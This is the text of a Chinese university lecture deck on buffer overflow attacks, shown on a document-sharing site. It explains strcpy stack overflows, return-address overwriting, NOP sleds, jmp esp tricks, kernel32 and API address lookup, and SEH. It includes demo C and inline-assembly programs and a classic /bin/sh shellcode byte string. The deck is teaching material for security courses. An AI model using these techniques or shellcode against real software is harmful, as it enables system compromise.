信息对抗技术-溢出攻击.ppt

上传人:s****8 文档编号:67320248 上传时间:2022-12-24 格式:PPT 页数:188 大小:626KB
返回 下载 相关 举报
信息对抗技术-溢出攻击.ppt_第1页
第1页 / 共188页
信息对抗技术-溢出攻击.ppt_第2页
第2页 / 共188页
点击查看更多>>
资源描述

《信息对抗技术-溢出攻击.ppt》由会员分享,可在线阅读,更多相关《信息对抗技术-溢出攻击.ppt(188页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、信息对抗技术信息对抗技术韩 宏 缓冲区溢出攻击 什么是缓冲区溢出攻击n网络中占60%-70%的攻击是缓冲区溢出攻击。n攻击的目的是什么?获得系统的控制权限。而不是破坏。基本攻击方式n通过向有漏洞的程序发送特别数据,使得程序将这段特别数据当作代码并跳转过去运行。而这段被当作的代码,可以和攻击者交互,从而实现了对被攻击机器的控制。如何控制别人的程序流向n怎样使程序跳转到指定的代码呢?有以下三种方式:jmp 地址;call 地址;ret;n如果要想程序跳转到攻击者给定的内存执行,需要有对应的代码执行这个跳转过程。比如 jmp 0 x1234;就将程序跳转到0 x1234地址运行。但被攻击的程序中不可

2、能存在这样的语句跳转到攻击者指定的位置。同理,call 0 x1234这种也不行。只剩下ret了。n请回忆前边反汇编基础部分讲解的ret指令的用处和工作过程 这个ret进行了如下操作:将返回地址从栈顶中弹出,并放入EIP寄存器,使得程序下一步执行EIP指向的地址。也就是说,ret将使程序执行栈顶保存的那个地址|-参数2-|0 x0012ff84|-参数1-|0 x0012ff80|-返回地址-|0 x0012ff7c|-保留原来的ebp-|0 x0012ff78|-局部变量1-|0 x0012ff74|-局部变量2-|0 x0012ff70如果能修改栈上保存的返回地址的值,将它指向我们希望跳转

3、的位置,不就可以了吗我们来尝试修改ret地址nprocedure Func1();nbeginnend;nprocedure TForm1.Button1Click(Sender:TObject);nbeginn Func1();nend;nprocedure Func1();nbeginnend;n的end处打断点,然后执行到此处。到esp指向的内存0 x12f3e4,该地址指向的是0 x44dbb5地址,即返回地址好,我们修改这个地址中存的地址n修改后,执行一个单步动作,执行ret指令,代码窗口指向了0 x11111地址n正常的代码中不可能有这样的修改语句存在,但在一些特定的条件下,可能修

4、改那个保存的地址。n 请回忆C语言中的strcpy,以及str作为前缀的函数有什么限制条件。nStr系列的函数要求空字符结尾,也就是0这个byte值结尾。nStrcpy会分析从源地址开始的每一个字节看是否是0,如果是表示源字符串已经结束,否则会一直拷贝下去。它并不关心目标地址是否有足够的空间保存被复制的内容。以下是一个strcpy的示意实现strcpy(char*des,char*src)char*cursrc,curdes;cursrc=src;curdes=des;while(*cursrc!=0)*des=*src;src+;des+;该实现中没有也无法判定目标地址指向的内存是否有足够的

5、空间存放被复制的内容。以下是strcpy的一般用法Char buf100;.Strcpy(buf,src);.请注意,这个buf的大小,是程序员估计出来的比正常使用还多的空间。n如果src的字符串长度大于buf,strcpy并不会在100处停止复制,而是会继续往后复制。那这时拷贝的内容就会依次覆盖后边的内容DesBuf复制前的目标和源地址的状况SrcBufDesBufSrcBuf复制后的目标和源地址的状况n如果前图中多余的复制的那部分蓝色的部分正好存放的是ret的返回地址,那么我们就可以改变程序的流向了!n而这只需要在给strcpy的源地址的内容(0字符前的部分)长度大于目标缓存预先分配的地址

6、。n这里一个关键是,需要保存ret地址的内存紧接在目标缓存的后面,可能吗?我们需要分析反汇编基础中对一个函数调用过程的分析了。首先,函数的局部变量和函数的返回地址都是保存在栈上,因此他们具备了相互比邻的可能。后图中,return address保存在比局部变量sum高8个字节的地方,很容易被strcpy拷贝的过长部分覆盖下面是一段c语言函数int Add(int x,int y)int sum;sum=x+y;return sum;Void main()int z;z=Add(1,2);printf(z=%dn,z);21Return addressPush 2;Push 1;Call.ebp

7、Push ebp局部变量存储区int sum高地址低地址栈的布局n请观察一下代码和其对应的栈布局Void func(char*src)char buf10;strcpy(buf,src);srcReturn addressebp高地址低地址这部分是哪个变量n请观察一下代码和其n对应的栈布局nVoid func(char*src)nn char buf10;n strcpy(buf,src);nsrcReturn addressebp高地址低地址字节Buf0在上方还是buf9在上方?Bufn请观察一下代码和其n对应的栈布局nVoid func(char*src)nn char buf10;n s

8、trcpy(buf,src);nsrcReturn addressebp高地址低地址Buf9.Buf0Strcpy拷贝的方向呢?先拷贝src0还是src9srcReturn addressebp高地址低地址Buf9.Buf0Strcpy拷贝的方向nstrcpy(char*des,char*src)nchar*cursrc,curdes;ncursrc=src;curdes=des;n while(*cursrc!=0)n *des=*src;n src+;des+;nn也就是说,strcpy多余拷贝的部分将覆盖保存ebp,return address的内存n当调用strcpy的函数返回时,程序

9、就会跳转到覆盖后指向的那个地址!n我们写一个程序来证明这个想法。n#include n#include nvoid func(char*src)nnchar buf4;nstrcpy(buf,src);nnchar gbuf13=111111111111;nvoid main()nnvoid*p;n _asmnn push ebp;nmov p,offset aa;nn*(void*)(gbuf+8)=p;nfunc(gbuf);n printf(hello,never executen);ngoto end;naa:n_asm add esp,4;n _asm pop ebp;nprintf

10、(new pathn);nend:n printf(endn);nn注意该结果表明程序并没有执行正常调用func之后的printf语句。而是执行了正常情况下根本不会运行的语句n该程序在vc6.0下编译,注意,在选择工程选项时,使用release版本,同时修正一个选项,将缺省得优化方式去掉,换成不优化,同时在link选项页中选择产生generate debug info。然后在c+选项页中选择debug info为program database就可以在集成环境下跟踪调试了n前面的程序有一个关键所在*(void*)(gbuf+8)=p;它将P指向的地址放入gbuf的最后四个字节。这里有两个必须精

11、确定位的参数 1.离gbuf首部的偏移,gbuf+8,这个8必须确定,多于和少于8都不对,因为我知道func的buf大小为4加上它申明为第一个局部变量。2.p 指向的是要转跳的地址,我们现在是用mov p,offset aa;获得的。但攻击者如何知晓这两个参数呢?n拿第一个参数讲,如果func中在buf局部变量前多申明一个整数变量i,gbuf+8 就不对了,因为i在比buf地址高的地方。void func(char*src)char buf4;strcpy(buf,src);void func(char*src)int i;char buf4;strcpy(buf,src);srcReturn

12、 addressebpBuf3.Buf0srcReturn addressebpBuf3.Buf0in攻击者难以精确定位这些参数,那么该怎么做呢?n我们先放下这个问题,来思考攻击者如何利用这个方式来攻击。利用overflow攻击n从前面看,修改返回地址是通过故意超出缓冲区大小的复制行为完成,因此相关的攻击为缓冲区溢出攻击。n我们可以设想有一个服务器,他存在如下代码:/receive data from client.strcpy(desBuf,dataReceived);.而dataReceived是一个黑客发送的数据,他故意让其长度大于desBuf的长度,并精心构建,让dataReceive

13、d发送的数据包含一段代码,并且使得被覆盖的返回地址指向该段代码。srcReturn addressebpdesBuf黑客自己构造的codeNew Return addressdataReceived这些数据被strcpy拷贝到栈上,而New returnAddress 将覆盖原来的地址拷贝前内存的布局srcNew Return addresscode黑客自己构造的codeNew Return addressdataReceived这些数据被strcpy拷贝到栈上,而New returnAddress 将覆盖原来的地址拷贝后内存的布局新返回地址正好指向code的开始处自己生成代码n什么是代码呢?

14、就是一堆0/1组成的数据,如果将指令寄存器eip指向这堆数据的起始,cpu就将它视为指令进行解释。例如:int I;/global i=12;这条语句的代码为(在 intel86):c705504c45000c00/mov gi$0000000c这些代码被地址指针访问,如在图a中00454c50 指向0 x0000000c。图b中表明了内存中代码的情况 0c00000000454c50hData segmenta)004522c6hC705504c45000c00code segmentb)硬编码方式n有了这个概念后,我们只需要申明一个字符数组,然后将代码对应的字节拷贝进去就可以了。char

15、code128;然后将每个字节对应的内容放入code数组就可以了。一般黑客会这样构造code数组,从汇编语言生成的机器码中得到数据,然后直接写到code中。nchar shellcode=xebx1fx5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;如果写复杂的code,这样做很费精力,且容易出错。更加自由的代码生成方式n这是我自己摸索的一种方法。就是利用label标定出一段嵌入汇编代码的起始和结束地

16、址,然后将他拷贝出来即可。非常好用,可以直接嵌入高级语言中工作。下面给出示例void*getCode()char*codeStart,*codeEnd;int codeLen;void*code;_asm mov codeStart,offset _startCode;mov codeEnd,offset _endCode;codeLen=codeEnd-codeStart;code =malloc(codeLen);memcpy(code,codeStart,codeLen);return code;/the following code never run._startCode:_asmm

17、ov gi,23;jmp retAddr;_endCode:return;void main()void*code;_asm mov retAddr,offset _retAddr;gi =12;printf(gi is%dn,gi);code=getCode();_asm jmp code;_retAddr:printf(gi is%dn,gi);free(code);从结果看,通过jmp code程序执行了我们自己生成的代码将gi设定为了23Shellcode攻击代码n如同前边,我们自己生成的攻击代码拷贝被称为shellcode。因为一般我们将在被攻击机器上得到一个远程的shell,用以控

18、制对方.让shellcode执行的两个关键n回顾前面提及的两个问题,我们必须决定两个关键参数 才能将cpu的控制指向我们放在数据中的大段shellcode.n第一个问题是如何确定保存返回地址的内存的地址,因为我们想覆盖他。n第二个是如何知道新的返回地址?srcold Return addresscode黑客自己构造的codeNew Return address这个距离这个距离是多大是多大前面提到过,这个距离和局部变量申明的个数顺序等相关。覆盖地址的确定n解决办法 在构造的数据中最后部分是多个连续的新返回地址,这样总有一个会覆盖到正确的保存返回地址的内存srcold Return address

19、codeNew return address黑客自己构造的codeNew Return addressNew returnaddressn请察看后面的示例代码,这是来自经典文章smashing the stack for fun and profit 的代码 ptr=buff;addr_ptr=(long*)ptr;for(i=0;i bsize;i+=4)*(addr_ptr+)=addr;n这里,addr是将要返回的地址,循环语句将这个地址连续复制到整个 buff中,要注意的是,stack是以4为单位增加的,所以可以这样做。Shell code|addr|addr|addr|addr连续存

20、放返回地址的问题n我们现在将从前的代码修改为连续方式void main()void*p;_asmmov p,offset aa;*(void*)(gbuf+8)=p;func(gbuf);printf(hello,never executen);goto end;aa:_asm add esp,4;printf(new pathn);end:printf(endn);void main()int i;void*p;void*pp;pp=(void*)gbuf;_asmmov p,offset aa;for(i=0;i 3;i+)*pp=p;pp+;func(gbuf);printf(hello

21、,never executen);goto end;aa:_asm add esp,4;printf(new pathn);end:printf(endn);n我们发现,并不能正确执行我们希望的结果。哪里出了问题呢?用debug分析代码nSrc指向的是0 x00407030;Buf指向的是0 x0012ff58.n0 x00407030是被复制的源地址,其内容是请问通过strcpy拷贝后,buf指向的内存中的内容是什么?是76 10 40 00 76 10 40 00 76 10 40 00 么?6:void func(char*src)7:8:char buf4;9:strcpy(buf,s

22、rc);10:00407030 76 10 40 00 76 10 40 00 76 10 40 00 00 00 00 00 v.v.v.00407040 68 65 6C 6C 6F 2C 20 6E 65 76 65 72 20 65 78 65 hello,never exen我们先来看strcpy拷贝前buf指向内存的内容,而蓝色部分就是存放return地址的地方,我们就是希望改写这个蓝色的值,用src当中的值 0 x00401076,在内存中是76 10 40 000012FF58 38 70 40 00 80 FF 12 00 64 10 40 00 30 70 40 00001

23、2FF68 00 00 00 00 00 00 00 00 00 F0 FD 7F 03 00 00 000012FF58 76 10 40 00 80 FF 12 00 64 10 40 00 30 70 40 00 n下面是拷贝后的状况,只有头四个字节别改成了76 10 40 00 后面的没有变化,也就是说那个返回值64 10 40 00 没有被修改掉 n这和我们的预计相反,原因很简单,strcpy是遇到0就结束拷贝,而我们的源地址src指向的内存中存储了76 10 40 00当遇到00时停止拷贝,那将不会发生缓冲区溢出!n也就是说,如果新的返回地址,也就是shellcode的起始地址值中

24、包含0就会导致strcpy提前结束拷贝,阻止了溢出。n因为shellcode将拷贝到栈上,而linux系统中应用程序栈在高端地址,组成地址的四个字节中没有0,比如0 x663412cd,那么,由这个值连续组成的buffer中是不会出现0的,因而这个buffer作为strcpy拷贝的源地址是不会提前结束拷贝的,可以保证缓冲区溢出的按期发生。n在windows上,不幸的是这个栈起始地址很低,0 x00130000,所以无法保证没有00字节出现这个要求,而且多线程的特性,有使得这个值变化不定,更不可能事先计算出来。覆盖地址的确定-windows版本n多线程方式以及栈在低端地址使得,老的linux方式

25、的trick无法使用。下面的方法来自Dildog的The Tao of windows buffer overflow.n如果我们将shellcode存放在栈上存储返回地址的后面,然后将老的返回地址指向jmp esp,call esp这样类似的代码处就可以完成工作。shellcode0 xff123451Jmp esp0 xff123451n函数返回时将返回到0 xff123451.而这时,esp正好是虚线指向的地址,即shellcode的开始地址,然后执行jmp esp,则可以执行shellcode了。n寻找jmp esp类似代码(1)有一个调试器叫ollyDbg,有一个插件叫ollyUni

26、,就有查找的功能。(2)通过自己编写内存查找器可以很容易的实现指令的查找。最好是查找exe主模块,或者kernel32.dll中的这些代码。对于exe主模块,总是加载在指定的位置,比如0 x00400000。而kernell32.dll载固定的windows版本下加载在同一个地址。转跳地址的确定n在老式unix类的操作系统中,因为不支持线程,栈底的地址固定,所以可以事先计算出来将要返回到的shellcode的地址。但有时候这个地址不能精确计算。这里有一个trick。Ret address 大致返回到一个区间,这个区间中是连续的nop指令。Nop就是什么也不做的空操作。这样只要大致返回到这个区间

27、,总能执行到shellcode有效开始的地方 nop nop nop nopnop shellcode ret address.n对windows系统而言,因为不能直接返回到栈上(地址不确定,因为多线程)。所以采用的是jmp esp类似的trick。那么,这个返回地址的确定就变成 jmp esp指令的地址的确定,前面已经讲解过简单的shellcode的生成nShellcode做什么?为攻击者获得对系统的控制权限。最简单的就是执行cmd 相关的命令,比如删除用户,删除文件。因为是执行shell的命令,所以一般叫shellcode.n资料上一般教大家先写一段程序,然后用debug方式获得对应的机器

28、码,然后像前面介绍的一样,放入一个全局变量中。而我们介绍了一个新的方法。n在此基础上,我们来构造一个简单的shellcode,他负责执行cmdn该shellcode的关键语句是调用cmd CreateProcess(nil,cmd.exe,nil,nil,True,CREATE_DEFAULT_ERROR_MODE ,nil,nil,si,Fpi);该函数是win32的API。如何在自己的shellcode中调用这个函数呢?又没有高级语言。我们还是来观察一下他的反汇编代码 nPush esp;n.nPush$454714;nPush.nCall$0004dfd0;前面是传递参数,而红色指令pu

29、sh是将字符串”cmd”的指针$454514传入。第一个问题来了,在我们的自己生成的shellcode中,这个字符串放在哪里?我们应该push 什么地址呢?n很明显,这个字符串并不存在在被入侵的程序空间中,因此,我们必须自己在shellcode中自带字符串。也就是我们必须将shellcode分成代码段和数据段。Datacoden因此,前边传递字符串指针值得push语句,必须传递我们data段存放“cmd.exe”这个内存的指针?n但它是多少?我们必须定位这个值。可是汇编语句中并没有直接取得当前指令地址的方法。我们无法直接存取EIP寄存器,mov eip,eax;mov eax,eip,这种指令

30、是不存在的。自定位代码n自定位代码就是自己能确定自己地址的代码。如果我们能自己定位当前代码的地址,然后再通过计算相对当前地址的偏移,自然就计算出了shellcode中数据段的地址了。n问题:为什么正常的程序在计算字符串的地址时,却没有涉及自定位代码?n有一个语句可以间接得到eip的值,就是call指令,因为它将下一条指令的地址存放在栈上,如果我们再结合pop指令将这个地址从栈上弹出来,就好了。call get;get:pop eax;通过上面的指令组合,pop eax指令所在的地址就被放入eax寄存器了。自定位代码也是许多病毒代码必用技巧,甚至gcc都可以指定生成这种代码。且有许多非常有用的用

31、途,比如thunk学以致用 -对象的钩子函数n我们在shellcode中学习了自定位代码?难道只能用于攻击吗?n通过自定位解决this指针回调函数和函数指针n#include nvoid callbackfunc(int i)nn printf(%dn,i);nntypedef void(*callback)(int);nvoid func(callback hook)nn n hook(1);nnvoid main()nn func(callbackfunc);n getchar();nWindows消息循环使用了回调函数n其回调函数原型是n long wndproc(handle h,lo

32、ng msg,long wParam,long lParam);n这个函数是用户设定给窗体的(也就是给操作系统传递一个符合上面函数原型的函数指针,例如为函数wp),当一个窗体有消息时(比如鼠标点击消息),通过消息循环,操作系统会调用用户设定的那个函数,即wp,传递给用户产生消息的窗体局柄,消息号,以及另外两个消息的参数共4个参数long mywndproc(HANDLE h,long msg,long wParam,lParam)/设定窗体HWindow的回调函数mywndprocSetWindowLong(HWindow,GWL_WNDPROC,(long)mywndproc);然后,当消息

33、分派时,操作系统会调用通过SetWindowLong传递给系统的函数指针mywndproc,并将相应的4个参数传递给这个函数对象回调,麻烦的对象n如果上页的函数mywndproc变成了一个类的非静态成员函数,是否还是可以将该函数指针传递给系统呢?nMyclass:mywndproc(HANDLE h,long msg,long wParam,lParam)SetWindowLong(HWindow,GWL_WNDPROC,(long)mywndproc);?n我们知道对象的非静态回调函数和同样返回类型以及参数列表的c方式的函数有什么区别吗?nthis,就是对象的首部地址,他作为参数被悄悄传递给

34、函数了,因此对象版的函数其函数原型其实是这样的:mywndproc(void*thisObj,HANDLE h,long msg,long wParam,lParam);也就是说,这个thisObj参数是调用者传递的,而操作系统就是这个回调函数的调用者,它只被告知了回调函数的入口地址(在SetWindowLong的第三个参数中设定的),操作系统并不只到对象的首部地址,根本无法传递thisObj参数!所以SetWindowLong步接收对象的非静态成员函数作为窗体回调函数this参数,那个悄悄传递的东西自定位代码,自带this数据的代码n如果我们在代码中混合上数据(回忆shellcode中自带了

35、字符串”cmd.exe”)。那么就可以将对象的this放入代码中。call 1 1:pop eax 这个代码将获得call语句的下一条指令的地址,那么如果我们在该代码call的后面放入this指针值和回调函数的地址,就可以完成对象非静态函数的调用了call stub/这里4个字节存放this的值/这里4个字节存放回调函数的入口地址 stub:pop ecx /ecx中是存放this指针的地址 mov eax,ecx+4/eax中是函数入口地址 mov ecx,ecx/ecx中就是this jmp eax;/调用回调函数n我们这对每个对象生成这样一片代码,就可以让每个对象的钩子函数被调用到,而通

36、过SetWindowLong传递给操作系统的回调函数地址是call stub指令所在内存的地址问题:最后那条jmp指令可以用call吗nWTL和vcl都是采用这种方法nVcl在classes单元文件的函数MakeObjectInstance中。自定位对象的钩子,影响了防御吗?n知识是贯通的,表面上解决对象版本的回调函数,反过来影响了安全中的防御技术。n可见,攻击技术-正常应用技术-防御技术。这样一个纠缠的序列使我们发现攻防技术其实已经渗透到我们程序开发的基础中了,反过来,只有基础深厚,才能真正矗立在安全技术的潮头。n一种防护措施是让堆不可执行,也就是说堆上不能有代码,或者说不能让eip寄存器指

37、向堆。n但为了解决对象的回调函数问题,在许多对象库中使用了自定位代码技巧,这些代码就是存在于动态在堆上分配的内存中,而一旦对不可执行,许多程序都无法运行。n我想这也就是为什么,在windows中不愿意打非执行栈和堆补丁的原因之一。定位API函数的地址n在回顾前边反汇编CreateProcess的部分 Push esp;n.nPush$454714;nPush.nCall$0004dfd0;call 指令后面的地址明显和被调用函数地址相关,是shellcode如何定位该地址?n这里我们必须了解windows平台上win32的api调用的方式。n 他们被组织成为了一个一个的dll。通过加载dll到

38、自己的地址空间,用户得以访问这些函数。n加载dll的函数是loadlibrary。n调用dll中某个函数的方法是GetProcAddress(函数名的字符串);返回值就是函数的入口地址。n另外一种叫静态绑定,就是不需要用户直接调用loadlibrary和GetProcAddress,而是通过预先生成转跳表完成。nLoadLibrary和GetProcAddress也是dll提供的,就是kernel32.dll。可是,总不可能用LoadLibrary去加载kernel32吧,因为此时他还没有被加载。n所以kernel32.dll是程序一运行就被自动加载到内存中了。而且在相同的windows版本中

39、,他总是加载到相同的地址,CreateProcess就在kernel32中。定位API地址的问题,转换为定位kernel32起始地址的问题。n定位kernel32起始地址的方法n1)记录已知windows版本的加载地址,然后一个一个试验,再根据pe格式自己分析得到GetProcAddress的地址,然后通过他获得需要的API地址,比如CreateProcess.n2)通过undocument的技术,用fs获得一个进程的数据结构PEB,然后直接得到已经加载的所有dll的入口地址,而kernel32总是在第一个。n关于方法一有以下几点n遍历已知的几个入口,分析是否有PE格式文件的标志“MZx90”

40、。有则是kernel32。不是,则可能引发内存访问异常,必须自己在shellcode中用结构化异常处理这些异常。n问题:在windows2003中似乎有意对抗了这种技巧,我有一次发现无法运行,通过debug kernel32发现,他杜绝结构化异常处理代码存在在stack上,如果发现是,则直接中断。n建议自己学习的几个和dll定位相关的基本点:1。pe格式的分析,如何获得输出表项及相关函数。2。结构化异常的工作原理和流程。3。PEB数据结构的分析。结构化异常n在windows中,提供了一种异常处理机制叫结构化异常处理。例如下面代码:try catch()当try中的代码出错,程序将跳转道catc

41、h所包含的代码执行结构化实现原理n异常处理函数的入口地址nFs寄存器指向的内存的起始的4字节为第一个异常处理节点的地址n系统将遍历处理节点搜索可以处理异常的节点,并从第2个字段得到处理函数入口地址NextException handlerNextException handlerNextException handlerFs:0结构化异常处理算法n从fs:0得到首节点的地址n调用节点中exception handler指向的处理函数n处理函数将返回处理结果,由一个enum定义了4种情况,例如ExceptionContinueSearch表示自己不处理,让操作系统继续搜索下一个节点。typede

42、f enum _EXCEPTION_DISPOSITION ExceptionContinueExecution,ExceptionContinueSearch,ExceptionNestedException,ExceptionCollidedUnwind EXCEPTION_DISPOSITION;n由处理函数自己负责转跳到自己希望执行的地址,就是catch包含代码的起始地址。异常处理函数的原型nEXCEPTION_DISPOSITION _stdcall ErrorHandler(PEXCEPTION_RECORD PtrExceptionRecord,void*PtrSEH,PCONT

43、EXT PtrContext,void*PtrDispatcherContext)n它是标准调用stdcallnPtrSEH是当前异常处理节点指针nPtrContext是线程的环境,包含很多寄存器。下面的代码可以将eip指向你想去的地址0 x12345 PtrContext-Eip=0 x12345.n函数的返回值决定系统如何处理异常,ExceptionContinueSearch继续寻找下一个节点,而ExceptionContinueExecution表示程序继续执行(从我们上面设定的eip执行)EXCEPTION_DISPOSITION _stdcall ErrorHandler(PEXC

44、EPTION_RECORD PtrExceptionRecord,void*PtrSEH,PCONTEXT PtrContext,void*PtrDispatcherContext)unsigned long Safe;Safe=GetSafeAddress(PtrSEH);printf(hello errorn);PtrContext-Eip=Safe;/go to safe place,if we set it the error action will not be executed return ExceptionContinueExecution;这个异常处理函数将让程序继续运行,地

45、址从Safe指向的地址开始在栈上存放异常处理节点n以下代码构造处理节点(=try)_asm xor eax,eax push offset Normal push offset ExceptHandlerLable;push fs:eax mov fs:eax,esp ;Exception handlerNextSafe address高地址低地址espFs:0指向esp正好指向该当前首部节点的地址把前一个首节点地址(放在fs:0中)填入next实现一个异常处理n该程序当按0键并回车时,将触发一个访问null地址的错误,即将地址为0的内存赋值;按其他的键回车时,正常结束。n如前页,我们在正常的

46、异常处理节点后多加了一个字段,保存程序继续正常执行将转跳到的地址。在异常处理函数中因为要传递异常节点的指针,那么我们就可以从指针偏移8个字节处得到这个专跳地址从异常处理节点的地址获得转跳地址_declspec(naked)unsigned long GetSafeAddress(void*PtrSEH)_asm mov eax,esp+4 /得到参数PtrSEH,放入eaxmov eax,eax+8;/得到我放在第三个字段 /的正常返回 地址ret;Exception handlerNextSafe address高地址低地址#include#include _declspec(naked)u

47、nsigned long GetSafeAddress(void*PtrSEH)_asm mov eax,esp+4 /得到参数PtrSEH,放入eaxmov eax,eax+8;/得到我放在第三个字段的正常返回 地址ret;完整程序EXCEPTION_DISPOSITION _stdcall ErrorHandler(PEXCEPTION_RECORD PtrExceptionRecord,void*PtrSEH,PCONTEXT PtrContext,void*PtrDispatcherContext)unsigned long Safe;Safe=GetSafeAddress(PtrSE

48、H);/获得安全返回的地址 printf(hello errorn);PtrContext-Eip=Safe;/让返回后程序执行safe地址 return ExceptionContinueExecution;/让程序继续运行,不停止void main()_asm /在栈上生成异常处理节点*xor eax,eax push offset Normal push offset ExceptHandlerLable;push fs:eax mov fs:eax,esp/*;char input;input=getchar();if(input!=0)printf(okn);else _asm xo

49、r eax,eax mov eax,0;/写空地址,触发异常!程序将转向这里 goto Normal;ExceptHandlerLable:_asm jmp ErrorHandler;/转向异常处理函数ErrorHandlerNormal:_asm /程序正常结束,将保存在栈上的异常处理节点(12个字节)清理掉(让栈增长12个字节,pop了三次)。另外由于该函数结束,所以应该将前一个处理节点作为首节点,其地址保存到fs:0中*pop ecx/将前一个节点的地址弹入ecx xor eax,eax mov fs:eax,ecx/将前一个节点的地址作为首节点地址存入fs:0/弹掉剩下的两个指针 po

50、p ecx pop ecx/*;flushall();getchar();/Sleep(10000);Exception handlerNextSafe address高地址低地址完整工程参见:.codestructException实验一下遍历kernel32加载基址的算法n获得系统kernel32.dll的加载基址。可以用一个debugger来实验。例如用delphi中的调试器。生成一个新程序,然后运行。n用热键ctrl-Alt-M,呼叫出如下界面这里就是kernel32.dll的基址,0 x77e60000n采用这种方法,在不同的操作系统版本上,就可以提炼出各自的kener32的基址n请

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 生活常识

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com